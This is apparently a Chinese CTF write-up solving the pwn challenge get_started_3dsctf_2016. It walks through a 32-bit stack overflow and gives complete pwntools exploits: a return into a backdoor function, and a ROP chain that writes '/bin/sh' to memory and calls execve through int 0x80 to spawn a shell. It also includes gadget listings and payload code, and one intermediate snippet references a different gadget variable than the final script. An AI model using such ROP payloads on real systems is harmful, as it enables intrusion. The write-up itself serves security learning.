【syscall】get_started_3dsctf_2016
Thursday, December 29, 2022
本文共2828字
6分钟阅读时长
⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/syscallget_started_3dsctf_2016/。商业转载请联系作者获得授权,非商业转载请注明出处!
We are shaped by our thoughts; we become what we think. When the mind is pure, joy follows like a shadow that never leaves.
— Buddha
原题链接
在做题前,我先为其建立了一个专门的工作目录:
checksec 查看架构
看来是 32 位的程序。我们首先就要想到,32 位程序的参数传递方式和 64 位程序的是不一样的:
- 32 位将参数从右到左先后压入栈中
- 64 位程序将参数分别用 RDI,RSI,RCX,RDX,R8,R9 作为第 1-6 个参数,用 RAX 保存返回值
所以,我们调用 system 函数的思路就不一样了。我们就不需要 pop rdi;ret 这个 gadget(在 32 位程序中也找不到),而是只需要注意用 ret 这个 gadget 保持栈返回时最后一位为 0 即可(system 特殊规定),可以参考这里
但是如果程序很好心地为我们提供了后门函数,那上面的这些也不用考虑了
同时,我们要注意 32 位程序由于参数保存在栈中,call 的同时还会将【下一条指令的偏移】压入栈中,因此我们要为【下一条指令的偏移】预留出位置
ida 查看程序(伪)代码
main 函数
看来是简单的栈溢出
值得注意的是,这里有一个小坑,即 printf 和 puts 的区别。
printf 在调用完后并不会马上打印出字符串,而是等待刷新缓冲区的指令之后才显示字符串。在这里就体现为,到 gets 函数向用户请求输入时,还没有任何字符串显示。
因此,可能有人会在写 exp 的时候,一直等待字符串输出,看一直没反应还以为自己 payload 写错了(
具体的 printf 和 puts 的区别可以看这位大佬的博文,非常详细
后门函数
然后我们就发现了程序好心为我们提供的后门函数(
只要我们传入参数分别为 814536271 和 425138641,那么我们就能得到 flag 的内容
构建 exp
通过后门函数构建 exp
步骤如下:
- 首先我们要找到 offset 溢出到 return 的栈地址,这通过 ida 很容易发现
- 然后我们就将后门函数地址和参数值填入栈中即可
# pg = p32
payload = b"a"*0x38 + pg(0x80489a0) + pg(0) + pg(814536271) + pg(425138641)
然后直接 sendline 就 🆗 啦
完整 exp1
from pwn import *
from pwn import p64, p32
pss: bool = False
fn: str = "./get_started_3dsctf_2016"
libc_name:str = ""
port: str = "25191"
if_32: bool = True
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
p = remote("node4.buuoj.cn", port)
else:
p = process(fn)
payload = b"a"*0x38 + pg(0x80489a0) + pg(0) + pg(814536271) + pg(425138641)
p.sendline(payload)
p.interactive()
通过 syscall 构建 exp
我们通过 ida 可以得知,该程序 plt 表内没有 system 函数也没有 execve 函数,同时此题又是静态编译,就不能适用 ret2libc 的方法从 libc 中找到 system。
但是我们可以通过程序中断时产生的系统调用来执行 execve 这个中断程序
全部中断程序编号见此
这里我们只需要找到 59 号中断程序,向它传参即可
64 位编号是 59,也就是 0x3b
32 位编号是 11,也就是 0xb。
同时,因为我们的程序是 32 位的,我们需要将编号传给 eax 寄存器,剩余参数分别传入 ecx,edx,esi,edi,ebp 中
然后,我们要找到这几个参数对应的值。execve 函数后两个参数可以不管设为 0,但是第一个参数应该是/bin/sh
或者sh
为了将这几个参数送入寄存器中,我们还需要一个 gadget,不仅可以完成任务,还可以通过ret
指令接着读下一条指令
我们用ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep eax
找 gadget:
比较遗憾的是,没有刚刚好的 gadget,但是有一条勉强可用:
0x080b91e6 : pop eax ; ret
那我们继续找 ebx、ecx、edx:
$ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep ebx
0x0809e102 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805bf3d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e4c4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0809a7dc : pop ebx ; pop edi ; ret
0x0806fc09 : pop ebx ; pop edx ; ret
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
0x080483b7 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a25b6 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096b1e : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x080718b1 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0804ab66 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049a95 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x080509a5 : pop ebx ; pop esi ; pop edi ; ret
0x080498af : pop ebx ; pop esi ; pop edi ; ret 4
0x08049923 : pop ebx ; pop esi ; ret
0x080481ad : pop ebx ; ret
0x080d413c : pop ebx ; ret 0x6f9
0x08099f96 : pop ebx ; ret 8
0x0806fc31 : pop ecx ; pop ebx ; ret
0x08063adb : pop edi ; pop esi ; pop ebx ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0807b1b0 : pop es ; pop ebx ; ret
0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret
0x0805d090 : pop esi ; pop ebx ; ret
0x0805b8a0 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809efe2 : pop ss ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
其中,有一条一下子就能同时设置三个需要用的寄存器:
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
- 那现在我们的栈从低到高就应该是 eax->edx->ecx->ebx
- 然后我们需要找到
int 0x80
这个 32 位系统调用 system call 的中断指令(64 位就是 syscall):0x0806d7e5 : int 0x80
- 然后我们需要找到填入 ebx 寄存器的
/bin/sh
。结果是没有/bin/sh
PS.这里不能直接找sh
字符串,因为 execve 函数第一个参数是 path,必须是绝对地址,而且必须是二进制文件(或者脚本文件,但是只会执行!#
之后的那个解释器)。在 Linux 系统种的sh
命令是软链接,并不是二进制文件
具体可以查看这篇博客,这篇博客也很不错
没有现成"/bin/sh"
:构建字符串
这题是静态链接,没法 ret2libc。
但是,我们可以找一处没有用到的地址,利用一些 gadget 将我们需要的值写进去,然后我们就得到了一个程序可以使用的"/bin/sh"字符串地址!
首先我们需要一条指令,支持我们向内存中写入值,这样我们就可以 pop 栈中的值到寄存器,再将空闲内存的地址赋给另一个寄存器,这样就可以向空闲地址写入值了
通过ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret"
命令然后我们找到了这个可用的 gadget:
# dword表示双字,就是四个字节,刚好是32位寄存器的大小
0x080557ab : mov dword ptr [edx], eax ; ret
然后我们可以直接利用之前找到过的pop edx;pop ecx;pop ebx;ret
将地址弹到 edx 中
然后我们用 ida 找到一块闲置空间(一直滚到.data 段,最后有一小段重复的 db 0)
然后我们就可以完成我们的 payload 了:
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
spare_space = 0x080EB0C0
payload = b'a'*0x38+pg(pop_eax_ret)+b"/bin"+pg(pop_edx_ecx_ebx_ret) + \
pg(spare_space)+pg(0)+pg(0)+pg(mov_ecx_eax_ret)
payload += pg(pop_eax_ret)+b'/sh\x00'+pg(pop_edx_ecx_ebx_ret) + \
pg(spare_space+4)+pg(0)+pg(0)+pg(mov_edx_eax_ret)
payload += pg(pop_eax_ret)+pg(0xb)+pg(pop_edx_ecx_ebx_ret) + \
pg(0)+pg(0)+pg(spare_space)+pg(int80)
完整 exp2
from pwn import *
from pwn import p64, p32
pss: bool = False
fn: str = "./get_started_3dsctf_2016"
# libc_name: str = ""
port: str = ""
if_32: bool = True
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if_debug: bool = False
if pss:
p = remote("node4.buuoj.cn", port)
else:
if if_debug:
shell = gdb.debug(fn, "b* 0x8048A40")
else:
p = process(fn)
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
spare_space = 0x080EB0C0
pop_edx_ret = 0x0806fc0a
pop_ecx_ebx_ret = 0x0806fc31
mov_ecx_eax_ret = 0x080701a5
payload = b'a'*0x38+pg(pop_eax_ret)+b"/bin"+pg(pop_edx_ecx_ebx_ret) + \
pg(spare_space)+pg(0)+pg(0)+pg(mov_edx_eax_ret)
payload += pg(pop_eax_ret)+b'/sh\x00'+pg(pop_edx_ecx_ebx_ret) + \
pg(spare_space+4)+pg(0)+pg(0)+pg(mov_edx_eax_ret)
payload += pg(pop_eax_ret)+pg(0xb)+pg(pop_edx_ecx_ebx_ret) + \
pg(0)+pg(0)+pg(spare_space)+pg(int80)
if if_debug:
shell.sendline(payload)
shell.interactive()
else:
p.sendline(payload)
p.interactive()
一些悬而未决的小问题
作者试图不使用pop edx;pop ecx;pop ebx;ret
只使用pop edx;ret
我们用 ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret"
命令找到了pop edx
的命令
0x0806fc0a : pop edx ; ret
看起来似乎没有问题
令人疑惑的是,这样子连栈都没法写入(在 pop eax 后就是连串的 popal),可能是我找的这个 gadget 本身有点小问题
但是我尝试了pop ecx;pop ebx;ret
和mov [ecx+4], eax
,程序完全正常运作,可以正常得到 shell
payload 如下:
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
spare_space = 0x080EB0C0
pop_edx_ret = 0x0806fc0a
pop_ecx_ebx_ret = 0x0806fc31
mov_ecx_eax_ret = 0x080701a5
# 这里一定要-4,因为gadget加了4
payload = b'a'*0x38+pg(pop_eax_ret)+b"/bin"+pg(pop_ecx_ebx_ret) + \
pg(spare_space-4)+pg(0)+pg(0)+pg(mov_ecx_eax_ret)
payload += pg(pop_eax_ret)+b'/sh\x00'+pg(pop_edx_ecx_ebx_ret) + \
pg(spare_space+4)+pg(0)+pg(0)+pg(mov_edx_eax_ret)
payload += pg(pop_eax_ret)+pg(0xb)+pg(pop_edx_ecx_ebx_ret) + \
pg(0)+pg(0)+pg(spare_space)+pg(int80)
无法执行其他二进制文件
作者一开始试图execve("sh", 0, 0)
,但是查阅资料后明白只能执行二进制文件,于是又试图执行/bin/ls
和/usr/bin/python3.10
,但是均因不明原因失败了
如果各位看官知道了原因,可以劳烦您在评论区为作者和后来人作一番解释吗?感激不尽!
扫码阅读此文章
点击按钮复制分享信息
点击订阅